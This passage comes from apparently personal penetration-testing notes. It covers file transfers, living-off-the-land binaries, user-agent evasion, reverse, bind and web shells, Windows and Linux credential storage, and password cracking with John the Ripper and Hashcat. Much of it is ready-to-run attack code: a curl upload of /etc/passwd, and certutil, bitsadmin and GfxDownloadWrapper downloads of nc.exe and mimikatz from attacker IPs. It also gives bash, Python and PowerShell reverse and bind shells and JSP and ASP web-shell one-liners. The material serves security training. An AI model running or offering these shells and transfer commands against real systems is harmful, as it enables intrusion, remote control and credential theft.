/var/log/nginx/error.log ``` ```bash ss -lnpt | grep ``` ```bash ps -ef | grep ``` ### **Remove NginxDefault Configuration** ```bash sudo rm /etc/nginx/sites-enabled/default ``` ## **Upload File Using cURL** ```bash curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt ``` {% hint style="info" %} Once we have this working, a good test is to ensure the directory listing is not enabled by navigating to `http://localhost/SecretUploadDirectory` {% endhint %} # Living Off The Land There are currently two websites that aggregate information on Living off the Land binaries: * [LOLBAS Project for Windows Binaries](https://lolbas-project.github.io) * [GTFOBins for Linux Binaries](https://gtfobins.github.io/) Living off the Land binaries can be used to perform functions such as: * Download * Upload * Command Execution * File Read * File Write * Bypasses ## LOLBAS (Windows) To search for download and upload functions in [LOLBAS](https://lolbas-project.github.io/) we can use `/download` or `/upload`. Example with CertReq.exe: We need to listen on a port on our attack host for incoming traffic using Netcat and then execute certreq.exe to upload a file. ```batch certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini ``` ## GTFOBins (Linux) To search for the download and upload function in [GTFOBins for Linux Binaries](https://gtfobins.github.io/), we can use `+file download` or `+file upload`. ### Attacker machine ```bash openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem ``` ```bash openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh ``` ### Target Download the file from the attacker with ```bash openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh ``` *** ## Bitsadmin Download function The [Background Intelligent Transfer Service (BITS)](https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal) can be used to download files from HTTP sites and SMB shares. It "intelligently" checks host and network utilization into account to minimize the impact on a user's foreground work. ```powershell bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe ``` PowerShell also enables interaction with BITS, enables file downloads and uploads, supports credentials, and can use specified proxy servers. ```powershell Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe" ``` ## Certutil Casey Smith ([@subTee](https://twitter.com/subtee?lang=en)) found that Certutil can be used to download arbitrary files. It is available in all Windows versions and has been a popular file transfer technique, serving as a defacto `wget` for Windows. However, the Antimalware Scan Interface (AMSI) currently detects this as malicious Certutil usage. ```powershell certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe ``` # Evading Detection ## Changing User Agent If diligent administrators or defenders have blacklisted any of these User Agents, [Invoke-WebRequest](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.1) contains a UserAgent parameter, which allows for changing the default user agent to one emulating Internet Explorer, Firefox, Chrome, Opera, or Safari. For example, if Chrome is used internally, setting this User Agent may make the request seem legitimate. ### **Listing out User Agents** ```powershell [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl ``` ### Invoking Invoke-WebRequest to download nc.exe using a Chrome User Agent ```powershell $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome ``` ```powershell Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe" ``` ## LOLBAS / GTFOBins Application whitelisting may prevent you from using PowerShell or Netcat, and command-line logging may alert defenders to your presence. In this case, an option may be to use a "LOLBIN" (living off the land binary), alternatively also known as "misplaced trust binaries." An example LOLBIN is the Intel Graphics Driver for Windows 10 (GfxDownloadWrapper.exe), installed on some systems and contains functionality to download configuration files periodically. This download functionality can be invoked as follows: ```powershell GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe" ``` # Shells & Payloads ## Tools, Tactics, and Procedures for Payload Generation, Transfer, and Execution ### **Payload Generation**
ResourceDescription
MSFVenom & Metasploit-FrameworkSource MSF is an extremely versatile tool for any pentester's toolkit. It serves as a way to enumerate hosts, generate payloads, utilize public and custom exploits, and perform post-exploitation actions once on the host. Think of it as a swiss-army knife.
Payloads All The ThingsSource Here, you can find many different resources and cheat sheets for payload generation and general methodology.
Mythic C2 FrameworkSource The Mythic C2 framework is an alternative option to Metasploit as a Command and Control Framework and toolbox for unique payload generation.
NishangSource Nishang is a framework collection of Offensive PowerShell implants and scripts. It includes many utilities that can be useful to any pentester.
DarkarmourSource Darkarmour is a tool to generate and utilize obfuscated binaries for use against Windows hosts.
### **Payload Transfer and Execution** * `Impacket`: [Impacket](https://github.com/SecureAuthCorp/impacket) is a toolset built-in Python that provides us a way to interact with network protocols directly. Some of the most exciting tools we care about in Impacket deal with `psexec`, `smbclient`, `wmi`, Kerberos, and the ability to stand up an SMB server. * [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md): is a great resource to find quick oneliners to help transfer files across hosts expediently. * `SMB`: SMB can provide an easy to exploit route to transfer files between hosts. This can be especially useful when the victim hosts are domain joined and utilize shares to host data. We, as attackers, can use these SMB file shares along with C$ and admin$ to host and transfer our payloads and even exfiltrate data over the links. * `Remote execution via MSF`: Built into many of the exploit modules in Metasploit is a function that will build, stage, and execute the payloads automatically. * `Other Protocols`: When looking at a host, protocols such as FTP, TFTP, HTTP/S, and more can provide you with a way to upload files to the host. Enumerate and pay attention to the functions that are open and available for use. See [File Transfers](/file-transfers) # Reverse Shells + Bind + Web ## Listen * Typical `netcat` * `-l` listen * `-v` verbose * `-n` No DNs resolution * `-p ` port ## Payloads More at [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) Also at [HighOn.Coffee](https://highon.coffee/blog/reverse-shell-cheat-sheet/) great one: ### Bash ```bash bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' ``` ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f ``` ### Powershell ```powershell powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()" ``` *** ## Sanitization/Stabilization/Upgrading TTY After connecting, often the shell is unstable and can be weird to use. ```shell-session python -c 'import pty; pty.spawn("/bin/bash")' ``` Then `CTRL + Z` to go back to local shell ```shell-session stty raw -echo fg ``` Then we should have a stable shell but not using all screen. On a **local** shell: ```shell-session echo $TERM ``` ```shell-session stty size ``` On **remote** shell: ```shell-session export TERM= ``` ```shell-session stty rows columns ``` *** ## Bind Shell ### Bash ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f ``` ### Python ```python python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")' ``` ### Powershell ```powershell powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(); ``` *** ## Web shell This is also covered in [File Inclusion](/file-inclusion) ### PHP ```php ``` ### JSP ```jsp <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> ``` ### ASP ```aspnet <% eval request("cmd") %> ``` Default webroots: | Web Server | Default Webroot | | ---------- | ---------------------- | | `Apache` | /var/www/html/ | | `Nginx` | /usr/local/nginx/html/ | | `IIS` | c:\inetpub\wwwroot\\ | | `XAMPP` | C:\xampp\htdocs\\ | ### ASP shells #### Laudanum, One Webshell to Rule Them All You can get it [here](https://github.com/jbarcia/Web-Shells/tree/master/laudanum). Laudanum is built into Parrot OS and Kali by default. The Laudanum files can be found in the `/usr/share/laudanum` directory. For most of the files within Laudanum, you can copy them as-is and place them where you need them on the victim to run. For specific files such as the shells, you must edit the file first to insert your `attacking` host IP address ```shell-session cp /usr/share/laudanum/aspx/shell.aspx ~/demo.aspx ``` Add your IP address to the `allowedIps` variable on line `59`. #### Antak Webshell Antak is a web shell built-in ASP.Net included within the [Nishang project](https://github.com/samratashok/nishang). Nishang is an Offensive PowerShell toolset that can provide options for any portion of your pentest. ```bash git clone https://github.com/samratashok/nishang.git ``` ```bash cp nishang/Antak-WebShell/antak.aspx ~/Upload.aspx ``` Modify the file
### PHP Shells [WhiteWinterWolf](https://github.com/WhiteWinterWolf/wwwolf-php-webshell) ### Considerations when Dealing with Web Shells When utilizing web shells, consider the below potential issues that may arise during your penetration testing process: * Web applications sometimes automatically delete files after a pre-defined period * Limited interactivity with the operating system in terms of navigating the file system, downloading and uploading files, chaining commands together may not work (ex. `whoami && hostname`), slowing progress, especially when performing enumeration -Potential instability through a non-interactive web shell * Greater chance of leaving behind proof that we were successful in our attack {% hint style="success" %} Also, we must document every method we attempt, what worked & what did not work, and even the names of the payloads & files we tried to use. We could include a sha1sum or MD5 hash of the file name, upload locations in our reports as proof, and provide attribution. {% endhint %} # Password Attacks ## Credential Storage ### Linux * `/etc/shadow` contains the hashes Format: `$id$salt$hash$` Hash algorithm ID: | `$1$` | [MD5](https://en.wikipedia.org/wiki/MD5) | | -------- | --------------------------------------------------------------------- | | `$2a$` | [Blowfish](https://en.wikipedia.org/wiki/Blowfish_\(cipher\)) | | `$5$` | [SHA-256](https://en.wikipedia.org/wiki/SHA-2) | | `$6$` | [SHA-512](https://en.wikipedia.org/wiki/SHA-2) | | `$sha1$` | [SHA1crypt](https://en.wikipedia.org/wiki/SHA-1) | | `$y$` | [Yescrypt](https://github.com/openwall/yescrypt) | | `$gy$` | [Gost-yescrypt](https://www.openwall.com/lists/yescrypt/2019/06/30/1) | | `$7$` | [Scrypt](https://en.wikipedia.org/wiki/Scrypt) | In the past, the encrypted password was stored together with the username in the `/etc/passwd` file, but this was increasingly recognized as a security problem because the file can be viewed by all users on the system and must be readable. The `/etc/shadow` file can only be read by the user `root`. #### passwd file | `htb-student:` | `x:` | `1000:` | `1000:` | `,,,:` | `/home/htb-student:` | `/bin/bash` | | -------------- | ------------- | -------- | -------- | ------------ | -------------------- | --------------------------------- | | `:` | `:` | `:` | `:` | `:` | `:` | `` | ### Windows
#### Winlogon `Winlogon` is a trusted process responsible for managing security-related user interactions. These include: * Launching LogonUI to enter passwords at login * Changing passwords * Locking and unlocking the workstation #### lsass [Local Security Authority Subsystem Service](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service) (`LSASS`) is a collection of many modules and has access to all authentication processes that can be found in `%SystemRoot%\System32\Lsass.exe`. This service is responsible for the local system security policy, user authentication, and sending security audit logs to the `Event log`. In other words, it is the vault for Windows-based operating systems, and we can find a more detailed illustration of the LSASS architecture [here](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961760\(v=technet.10\)?redirectedfrom=MSDN). | `Lsasrv.dll` | The LSA Server service both enforces security policies and acts as the security package manager for the LSA. The LSA contains the Negotiate function, which selects either the NTLM or Kerberos protocol after determining which protocol is to be successful. | | -------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `Msv1_0.dll` | Authentication package for local machine logons that don't require custom authentication. | | `Samsrv.dll` | The Security Accounts Manager (SAM) stores local security accounts, enforces locally stored policies, and supports APIs. | | `Kerberos.dll` | Security package loaded by the LSA for Kerberos-based authentication on a machine. | | `Netlogon.dll` | Network-based logon service. | | `Ntdsa.dll` | This library is used to create new records and folders in the Windows registry. | Source: [Microsoft Docs](https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication). #### **SAM Database** The [Security Account Manager](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc756748\(v=ws.10\)?redirectedfrom=MSDN) (`SAM`) is a database file in Windows operating systems that stores users' passwords. User passwords are stored in a hash format in a registry structure as either an `LM` hash or an `NTLM` hash. This file is located in `%SystemRoot%/system32/config/SAM` and is mounted on HKLM/SAM. SYSTEM level permissions are required to view it. Microsoft introduced a security feature in Windows NT 4.0 to help improve the security of the SAM database against offline software cracking. This is the `SYSKEY` (`syskey.exe`) feature, which, when enabled, partially encrypts the hard disk copy of the SAM file so that the password hash values for all local accounts stored in the SAM are encrypted with a key. #### **Credential Manager**
Credential Manager is a feature built-in to all Windows operating systems that allows users to save the credentials they use to access various network resources and websites Credentials are encrypted and stored at the following location: `C:\Users\[Username]\AppData\Local\Microsoft\[Vault/Credentials]\` #### NTDS In these cases, the Windows systems will send all logon requests to Domain Controllers that belong to the same Active Directory forest. Each Domain Controller hosts a file called `NTDS.dit` that is kept synchronized across all Domain Controllers with the exception of [Read-Only Domain Controllers](https://docs.microsoft.com/en-us/windows/win32/ad/rodc-and-active-directory-schema). NTDS.dit is a database file that stores the data in Active Directory, including but not limited to: * User accounts (username & password hash) * Group accounts * Computer accounts * Group policy objects # John the ripper Repo: [John the Ripper](https://github.com/openwall/john) ## Encryption technologies | **Encryption Technology** | **Description** | | ----------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- | | `UNIX crypt(3)` | Crypt(3) is a traditional UNIX encryption system with a 56-bit key. | | `Traditional DES-based` | DES-based encryption uses the Data Encryption Standard algorithm to encrypt data. | | `bigcrypt` | Bigcrypt is an extension of traditional DES-based encryption. It uses a 128-bit key. | | `BSDI extended DES-based` | BSDI extended DES-based encryption is an extension of the traditional DES-based encryption and uses a 168-bit key. | | `FreeBSD MD5-based` (Linux & Cisco) | FreeBSD MD5-based encryption uses the MD5 algorithm to encrypt data with a 128-bit key. | | `OpenBSD Blowfish-based` | OpenBSD Blowfish-based encryption uses the Blowfish algorithm to encrypt data with a 448-bit key. | | `Kerberos/AFS` | Kerberos and AFS are authentication systems that use encryption to ensure secure entity communication. | | `Windows LM` | Windows LM encryption uses the Data Encryption Standard algorithm to encrypt data with a 56-bit key. | | `DES-based tripcodes` | DES-based tripcodes are used to authenticate users based on the Data Encryption Standard algorithm. | | `SHA-crypt hashes` | SHA-crypt hashes are used to encrypt data with a 256-bit key and are available in newer versions of Fedora and Ubuntu. | | `SHA-crypt` and `SUNMD5 hashes` (Solaris) | SHA-crypt and SUNMD5 hashes use the SHA-crypt and MD5 algorithms to encrypt data with a 256-bit key and are available in Solaris. | | `...` | and many more. | ## Attack Methods * Dictionary * Brute force * Rainbow Tables ## **Cracking with John**
Hash FormatExample CommandDescription
afsjohn --format=afs hashes_to_crack.txtAFS (Andrew File System) password hashes
bfeggjohn --format=bfegg hashes_to_crack.txtbfegg hashes used in Eggdrop IRC bots
bfjohn --format=bf hashes_to_crack.txtBlowfish-based crypt(3) hashes
bsdijohn --format=bsdi hashes_to_crack.txtBSDi crypt(3) hashes
crypt(3)john --format=crypt hashes_to_crack.txtTraditional Unix crypt(3) hashes
desjohn --format=des hashes_to_crack.txtTraditional DES-based crypt(3) hashes
dmd5john --format=dmd5 hashes_to_crack.txtDMD5 (Dragonfly BSD MD5) password hashes
dominosecjohn --format=dominosec hashes_to_crack.txtIBM Lotus Domino 6/7 password hashes
EPiServer SID hashesjohn --format=episerver hashes_to_crack.txtEPiServer SID (Security Identifier) password hashes
hdaajohn --format=hdaa hashes_to_crack.txthdaa password hashes used in Openwall GNU/Linux
hmac-md5john --format=hmac-md5 hashes_to_crack.txthmac-md5 password hashes
hmailserverjohn --format=hmailserver hashes_to_crack.txthmailserver password hashes
ipb2john --format=ipb2 hashes_to_crack.txtInvision Power Board 2 password hashes
krb4john --format=krb4 hashes_to_crack.txtKerberos 4 password hashes
krb5john --format=krb5 hashes_to_crack.txtKerberos 5 password hashes
LMjohn --format=LM hashes_to_crack.txtLM (Lan Manager) password hashes
lotus5john --format=lotus5 hashes_to_crack.txtLotus Notes/Domino 5 password hashes
mscashjohn --format=mscash hashes_to_crack.txtMS Cache password hashes
mscash2john --format=mscash2 hashes_to_crack.txtMS Cache v2 password hashes
mschapv2john --format=mschapv2 hashes_to_crack.txtMS CHAP v2 password hashes
mskrb5john --format=mskrb5 hashes_to_crack.txtMS Kerberos 5 password hashes
mssql05john --format=mssql05 hashes_to_crack.txtMS SQL 2005 password hashes
mssqljohn --format=mssql hashes_to_crack.txtMS SQL password hashes
mysql-fastjohn --format=mysql-fast hashes_to_crack.txtMySQL fast password hashes
mysqljohn --format=mysql hashes_to_crack.txtMySQL password hashes
mysql-sha1john --format=mysql-sha1 hashes_to_crack.txtMySQL SHA1 password hashes
NETLMjohn --format=netlm hashes_to_crack.txtNETLM (NT LAN Manager) password hashes
NETLMv2john --format=netlmv2 hashes_to_crack.txtNETLMv2 (NT LAN Manager version 2) password hashes
NETNTLMjohn --format=netntlm hashes_to_crack.txtNETNTLM (NT LAN Manager) password hashes
NETNTLMv2john --format=netntlmv2 hashes_to_crack.txtNETNTLMv2 (NT LAN Manager version 2) password hashes
NEThalfLMjohn --format=nethalflm hashes_to_crack.txtNEThalfLM (NT LAN Manager) password hashes
md5nsjohn --format=md5ns hashes_to_crack.txtmd5ns (MD5 namespace) password hashes
nsldapjohn --format=nsldap hashes_to_crack.txtnsldap (OpenLDAP SHA) password hashes
sshajohn --format=ssha hashes_to_crack.txtssha (Salted SHA) password hashes
NTjohn --format=nt hashes_to_crack.txtNT (Windows NT) password hashes
opensshajohn --format=openssha hashes_to_crack.txtOPENSSH private key password hashes
oracle11john --format=oracle11 hashes_to_crack.txtOracle 11 password hashes
oraclejohn --format=oracle hashes_to_crack.txtOracle password hashes
pdfjohn --format=pdf hashes_to_crack.txtPDF (Portable Document Format) password hashes
phpass-md5john --format=phpass-md5 hashes_to_crack.txtPHPass-MD5 (Portable PHP password hashing framework) password hashes
phpsjohn --format=phps hashes_to_crack.txtPHPS password hashes
pix-md5john --format=pix-md5 hashes_to_crack.txtCisco PIX MD5 password hashes
pojohn --format=po hashes_to_crack.txtPo (Sybase SQL Anywhere) password hashes
rarjohn --format=rar hashes_to_crack.txtRAR (WinRAR) password hashes
raw-md4john --format=raw-md4 hashes_to_crack.txtRaw MD4 password hashes
raw-md5john --format=raw-md5 hashes_to_crack.txtRaw MD5 password hashes
raw-md5-unicodejohn --format=raw-md5-unicode hashes_to_crack.txtRaw MD5 Unicode password hashes
raw-sha1john --format=raw-sha1 hashes_to_crack.txtRaw SHA1 password hashes
raw-sha224john --format=raw-sha224 hashes_to_crack.txtRaw SHA224 password hashes
raw-sha256john --format=raw-sha256 hashes_to_crack.txtRaw SHA256 password hashes
raw-sha384john --format=raw-sha384 hashes_to_crack.txtRaw SHA384 password hashes
raw-sha512john --format=raw-sha512 hashes_to_crack.txtRaw SHA512 password hashes
salted-shajohn --format=salted-sha hashes_to_crack.txtSalted SHA password hashes
sapbjohn --format=sapb hashes_to_crack.txtSAP CODVN B (BCODE) password hashes
sapgjohn --format=sapg hashes_to_crack.txtSAP CODVN G (PASSCODE) password hashes
sha1-genjohn --format=sha1-gen hashes_to_crack.txtGeneric SHA1 password hashes
skeyjohn --format=skey hashes_to_crack.txtS/Key (One-time password) hashes
sshjohn --format=ssh hashes_to_crack.txtSSH (Secure Shell) password hashes
sybaseasejohn --format=sybasease hashes_to_crack.txtSybase ASE password hashes
xshajohn --format=xsha hashes_to_crack.txtxsha (Extended SHA) password hashes
zipjohn --format=zip hashes_to_crack.txtZIP (WinZip) password hashes
## Cracking Modes ### Single Crack Mode ```bash john --format= ``` When we run the command, John will read the hashes from the specified file, and then it will try to crack them by comparing them to the words in its built-in wordlist and any additional wordlists specified with the `--wordlist` option. Additionally, It will use any rules set with the `--rules` option (if any rules are given) to generate further candidate passwords. John will output the cracked passwords to the console and the file "john.pot" (`~/.john/john.pot`) to the current user's home directory. Furthermore, it will continue cracking the remaining hashes in the background, and we can check the progress by running the `john --show` command. To maximize the chances of success, it is important to ensure that the wordlists and rules used are comprehensive and up to date. [See table above](#cracking-with-john) ### **Wordlist Mode** `Wordlist Mode` is used to crack passwords using multiple lists of words. It is a dictionary attack which means it will try all the words in the lists one by one until it finds the right one. It is generally used for cracking multiple password hashes using a wordlist or a combination of wordlists. It is more effective than Single Crack Mode because it utilizes more words but is still relatively basic. The basic syntax for the command is: ```bash john --wordlist= --rules ``` ### **Incremental Mode** `Incremental Mode` is an advanced John mode used to crack passwords using a character set. It is a hybrid attack, which means it will attempt to match the password by trying all possible combinations of characters from the character set. This mode is the most effective yet most time-consuming of all the John modes. This mode works best when we know what the password might be, as it will try all the possible combinations in sequence, starting from the shortest one. This makes it much faster than the brute force attack, where all combinations are tried randomly. Moreover, the incremental mode can also be used to crack weak passwords, which may be challenging to crack using the standard John modes. The main difference between incremental mode and wordlist mode is the source of the password guesses. Incremental mode generates the guesses on the fly, while wordlist mode uses a predefined list of words. At the same time, the single crack mode is used to check a single password against a hash. ```bash john --incremental ``` Using this command we will read the hashes in the specified hash file and then generate all possible combinations of characters, starting with a single character and incrementing with each iteration. It is important to note that this mode is `highly resource intensive` and can take a long time to complete, depending on the complexity of the passwords, machine configuration, and the number of characters set. Additionally, it is important to note that the default character set is limited to `a-zA-Z0-9`. Therefore, if we attempt to crack complex passwords with special characters, we need to use a custom character set. ## Cracking Files ```bash > file.hash pdf2john server_doc.pdf > server_doc.hash john server_doc.hash # OR john --wordlist= server_doc.hash ``` | **Tool** | **Description** | | ----------------------- | --------------------------------------------- | | `pdf2john` | Converts PDF documents for John | | `ssh2john` | Converts SSH private keys for John | | `mscash2john` | Converts MS Cash hashes for John | | `keychain2john` | Converts OS X keychain files for John | | `rar2john` | Converts RAR archives for John | | `pfx2john` | Converts PKCS#12 files for John | | `truecrypt_volume2john` | Converts TrueCrypt volumes for John | | `keepass2john` | Converts KeePass databases for John | | `vncpcap2john` | Converts VNC PCAP files for John | | `putty2john` | Converts PuTTY private keys for John | | `zip2john` | Converts ZIP archives for John | | `hccap2john` | Converts WPA/WPA2 handshake captures for John | | `office2john` | Converts MS Office documents for John | | `wpa2john` | Converts WPA/WPA2 handshakes for John | More of these tools can be found: ```bash locate *2john* ``` # Introduction to Hashcat [Hashcat](https://hashcat.net/) is a well-known password cracking tool for Linux, Windows, and macOS. From 2009 until 2015 it was proprietary software, but has since been released as open-source. Featuring fantastic GPU support, it can be used to crack a large variety of hashes. Similar to JtR, hashcat supports multiple attack (cracking) modes which can be used to efficiently attack password hashes. The general syntax used to run hashcat is as follows: Introduction to Hashcat ```shell-session RtlCopyMemory@htb[/htb]$ hashcat -a 0 -m 0 [wordlist, rule, mask, ...] ``` In the command above: * `-a` is used to specify the `attack mode` * `-m` is used to specify the `hash type` * `` is a either a hash string, or a file containing one or more password hashes of the same type * `[wordlist, rule, mask, ...]` is a placeholder for additional arguments that depend on the attack mode ### Hash types Hashcat supports hundreds of different hash types, each of which is assigned a ID. A list of associated IDs can be generated by running `hashcat --help`. Introduction to Hashcat ```shell-session RtlCopyMemory@htb[/htb]$ hashcat --help ...SNIP... - [ Hash modes ] - # | Name | Category ======+============================================================+====================================== 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 100 | SHA1 | Raw Hash 1300 | SHA2-224 | Raw Hash 1400 | SHA2-256 | Raw Hash 10800 | SHA2-384 | Raw Hash 1700 | SHA2-512 | Raw Hash 17300 | SHA3-224 | Raw Hash 17400 | SHA3-256 | Raw Hash 17500 | SHA3-384 | Raw Hash 17600 | SHA3-512 | Raw Hash 6000 | RIPEMD-160 | Raw Hash 600 | BLAKE2b-512 | Raw Hash 11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash 11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian | Raw Hash 6900 | GOST R 34.11-94 | Raw Hash 17010 | GPG (AES-128/AES-256 (SHA-1($pass))) | Raw Hash 5100 | Half MD5 | Raw Hash 17700 | Keccak-224 | Raw Hash 17800 | Keccak-256 | Raw Hash 17900 | Keccak-384 | Raw Hash 18000 | Keccak-512 | Raw Hash 6100 | Whirlpool | Raw Hash 10100 | SipHash | Raw Hash 70 | md5(utf16le($pass)) | Raw Hash 170 | sha1(utf16le($pass)) | Raw Hash 1470 | sha256(utf16le($pass)) | Raw Hash ...SNIP... ``` The hashcat website hosts a comprehensive list of [example hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) which can assist in manually identifying an unknown hash type and determining the corresponding Hashcat hash mode identifier. Alternatively, [hashID](https://github.com/psypanda/hashID) can be used to quickly identify the hashcat hash type by specifying the `-m` argument. Introduction to Hashcat ```shell-session RtlCopyMemory@htb[/htb]$ hashid -m '$1$FNr44XZC$wQxY6HHLrgrGX0e1195k.1' Analyzing '$1$FNr44XZC$wQxY6HHLrgrGX0e1195k.1' [+] MD5 Crypt [Hashcat Mode: 500] [+] Cisco-IOS(MD5) [Hashcat Mode: 500] [+] FreeBSD MD5 [Hashcat Mode: 500] ``` ### Attack modes Hashcat has many different attack mode, including `dictionary`, `mask`, `combinator`, and `association`. In this section we will go over the first two, as they are likely the most common ones that you will need to use. **Dictionary attack** [Dictionary attack](https://hashcat.net/wiki/doku.php?id=dictionary_attack) (`-a 0`) is, as the name suggests, a dictionary attack. The user provides password hashes and a wordlist as input, and Hashcat tests each word in the list as a potential password until the correct one is found or the list is exhausted. As an example, imagine we extracted the following password hash from an SQL database: `e3e3ec5831ad5e7288241960e5d4fdb8`. First, we could identify this as an MD5 hash, which has a hash ID of `0`. To attempt to crack this hash using the `rockyou.txt` wordlist, the following command would be used: Introduction to Hashcat ```shell-session RtlCopyMemory@htb[/htb]$ hashcat -a 0 -m 0 e3e3ec5831ad5e7288241960e5d4fdb8 /usr/share/wordlists/rockyou.txt ...SNIP... Session..........: hashcat Status...........: Cracked Hash.Mode........: 0 (MD5) Hash.Target......: e3e3ec5831ad5e7288241960e5d4fdb8 Time.Started.....: Sat Apr 19 08:58:44 2025 (0 secs) Time.Estimated...: Sat Apr 19 08:58:44 2025 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1706.6 kH/s (0.14ms) @ Accel:512 Loops:1 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 28672/14344385 (0.20%) Rejected.........: 0/28672 (0.00%) Restore.Point....: 27648/14344385 (0.19%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: 010292 -> spongebob9 Hardware.Mon.#1..: Util: 40% Started: Sat Apr 19 08:58:43 2025 Stopped: Sat Apr 19 08:58:46 2025 ``` A wordlist alone is often not enough to crack a password hash. As was the case with JtR, `rules` can be used to perform specific modifications to passwords to generate even more guesses. The rule files that come with hashcat are typically found under `/usr/share/hashcat/rules`: Introduction to Hashcat ```shell-session RtlCopyMemory@htb[/htb]$ ls -l /usr/share/hashcat/rules total 2852 -rw-r--r-- 1 root root 309439 Apr 24 2024 Incisive-leetspeak.rule -rw-r--r-- 1 root root 35802 Apr 24 2024 InsidePro-HashManager.rule -rw-r--r-- 1 root root 20580 Apr 24 2024 InsidePro-PasswordsPro.rule -rw-r--r-- 1 root root 64068 Apr 24 2024 T0XlC-insert_00-99_1950-2050_toprules_0_F.rule -rw-r--r-- 1 root root 2027 Apr 24 2024 T0XlC-insert_space_and_special_0_F.rule -rw-r--r-- 1 root root 34437 Apr 24 2024 T0XlC-insert_top_100_passwords_1_G.rule -rw-r--r-- 1 root root 34813 Apr 24 2024 T0XlC.rule -rw-r--r-- 1 root root 1289 Apr 24 2024 T0XlC_3_rule.rule -rw-r--r-- 1 root root 168700 Apr 24 2024 T0XlC_insert_HTML_entities_0_Z.rule -rw-r--r-- 1 root root 197418 Apr 24 2024 T0XlCv2.rule -rw-r--r-- 1 root root 933 Apr 24 2024 best64.rule -rw-r--r-- 1 root root 754 Apr 24 2024 combinator.rule -rw-r--r-- 1 root root 200739 Apr 24 2024 d3ad0ne.rule -rw-r--r-- 1 root root 788063 Apr 24 2024 dive.rule -rw-r--r-- 1 root root 78068 Apr 24 2024 generated.rule -rw-r--r-- 1 root root 483425 Apr 24 2024 generated2.rule drwxr-xr-x 2 root root 4096 Oct 19 15:30 hybrid -rw-r--r-- 1 root root 298 Apr 24 2024 leetspeak.rule -rw-r--r-- 1 root root 1280 Apr 24 2024 oscommerce.rule -rw-r--r-- 1 root root 301161 Apr 24 2024 rockyou-30000.rule -rw-r--r-- 1 root root 1563 Apr 24 2024 specific.rule -rw-r--r-- 1 root root 45 Apr 24 2024 toggles1.rule -rw-r--r-- 1 root root 570 Apr 24 2024 toggles2.rule -rw-r--r-- 1 root root 3755 Apr 24 2024 toggles3.rule -rw-r--r-- 1 root root 16040 Apr 24 2024 